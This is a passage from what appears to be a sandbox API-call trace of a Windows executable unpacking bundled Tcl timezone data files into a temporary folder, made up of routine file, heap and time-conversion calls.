lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.635] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.635] CloseHandle (hObject=0x10c) returned 1 [0038.635] GetLastError () returned 0x0 [0038.635] SetLastError (dwErrCode=0x0) [0038.635] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.635] GetFileType (hFile=0x10c) returned 0x1 [0038.635] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.635] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.636] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.636] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.636] CloseHandle (hObject=0x10c) returned 1 [0038.636] GetLastError () returned 0x0 [0038.636] SetLastError (dwErrCode=0x0) [0038.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayenne") returned 72 [0038.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayenne" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cayenne"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.636] GetLastError () returned 0x2 [0038.636] SetLastError (dwErrCode=0x2) [0038.636] GetLastError () returned 0x2 [0038.636] SetLastError (dwErrCode=0x2) [0038.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayenne", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayenne", lpFilePart=0x0) returned 0x47 [0038.636] GetLastError () returned 0x2 [0038.636] SetLastError (dwErrCode=0x2) [0038.636] GetLastError () returned 0x2 [0038.636] SetLastError (dwErrCode=0x2) [0038.636] GetLastError () returned 0x2 [0038.636] SetLastError (dwErrCode=0x2) [0038.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayenne") returned 72 [0038.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayenne" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cayenne"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.637] GetFileType (hFile=0x10c) returned 0x1 [0038.637] htonl (hostlong=0xb2000000) returned 0xb2 [0038.637] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.637] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb2, lpOverlapped=0x0) returned 1 [0038.638] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.638] CloseHandle (hObject=0x10c) returned 1 [0038.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.642] htonl (hostlong=0x30000000) returned 0x30 [0038.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.642] GetFileType (hFile=0x10c) returned 0x1 [0038.642] htonl (hostlong=0xb0c85800) returned 0x58c8b0 [0038.642] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d78b0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.642] htonl (hostlong=0x98000000) returned 0x98 [0038.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0038.643] htonl (hostlong=0x98000000) returned 0x98 [0038.643] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.643] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.643] htonl (hostlong=0xb3000000) returned 0xb3 [0038.643] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x550600 [0038.643] htonl (hostlong=0x98000000) returned 0x98 [0038.643] htonl (hostlong=0xb3000000) returned 0xb3 [0038.643] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.643] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.643] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.643] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.643] CloseHandle (hObject=0x10c) returned 1 [0038.643] GetLastError () returned 0x0 [0038.643] SetLastError (dwErrCode=0x0) [0038.643] GetLastError () returned 0x0 [0038.643] SetLastError (dwErrCode=0x0) [0038.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.643] GetFileType (hFile=0x10c) returned 0x1 [0038.643] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.644] CloseHandle (hObject=0x10c) returned 1 [0038.644] GetLastError () returned 0x0 [0038.644] SetLastError (dwErrCode=0x0) [0038.644] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.644] GetFileType (hFile=0x10c) returned 0x1 [0038.644] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.644] CloseHandle (hObject=0x10c) returned 1 [0038.644] GetLastError () returned 0x0 [0038.644] SetLastError (dwErrCode=0x0) [0038.644] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.645] GetFileType (hFile=0x10c) returned 0x1 [0038.645] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.645] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.645] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.645] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.645] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.645] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.645] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.645] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.645] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.645] CloseHandle (hObject=0x10c) returned 1 [0038.645] GetLastError () returned 0x0 [0038.645] SetLastError (dwErrCode=0x0) [0038.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayman") returned 71 [0038.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cayman"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.645] GetLastError () returned 0x2 [0038.645] SetLastError (dwErrCode=0x2) [0038.645] GetLastError () returned 0x2 [0038.645] SetLastError (dwErrCode=0x2) [0038.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayman", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayman", lpFilePart=0x0) returned 0x46 [0038.645] GetLastError () returned 0x2 [0038.645] SetLastError (dwErrCode=0x2) [0038.645] GetLastError () returned 0x2 [0038.645] SetLastError (dwErrCode=0x2) [0038.645] GetLastError () returned 0x2 [0038.645] SetLastError (dwErrCode=0x2) [0038.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayman") returned 71 [0038.646] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cayman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cayman"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.647] GetFileType (hFile=0x10c) returned 0x1 [0038.647] htonl (hostlong=0xb3000000) returned 0xb3 [0038.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.647] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0038.648] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.648] CloseHandle (hObject=0x10c) returned 1 [0038.649] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.649] htonl (hostlong=0x30000000) returned 0x30 [0038.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.649] GetFileType (hFile=0x10c) returned 0x1 [0038.649] htonl (hostlong=0x48c95800) returned 0x58c948 [0038.649] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d7948, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.649] htonl (hostlong=0xf080000) returned 0x80f [0038.649] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80f) returned 0x55e278 [0038.649] htonl (hostlong=0xf080000) returned 0x80f [0038.649] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.649] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.649] htonl (hostlong=0xfb2a0000) returned 0x2afb [0038.649] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2afb) returned 0x561090 [0038.650] htonl (hostlong=0xf080000) returned 0x80f [0038.650] htonl (hostlong=0xfb2a0000) returned 0x2afb [0038.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563b98 [0038.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563b98 | out: hHeap=0x530000) returned 1 [0038.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.650] CloseHandle (hObject=0x10c) returned 1 [0038.650] GetLastError () returned 0x0 [0038.650] SetLastError (dwErrCode=0x0) [0038.650] GetLastError () returned 0x0 [0038.650] SetLastError (dwErrCode=0x0) [0038.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.650] GetFileType (hFile=0x10c) returned 0x1 [0038.650] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.650] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.650] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.650] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.650] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.650] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.650] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.650] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.651] CloseHandle (hObject=0x10c) returned 1 [0038.651] GetLastError () returned 0x0 [0038.651] SetLastError (dwErrCode=0x0) [0038.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.651] GetFileType (hFile=0x10c) returned 0x1 [0038.651] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.651] CloseHandle (hObject=0x10c) returned 1 [0038.651] GetLastError () returned 0x0 [0038.651] SetLastError (dwErrCode=0x0) [0038.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.651] GetFileType (hFile=0x10c) returned 0x1 [0038.652] GetCurrentDirectoryW (in: nBufferLength=0x105, 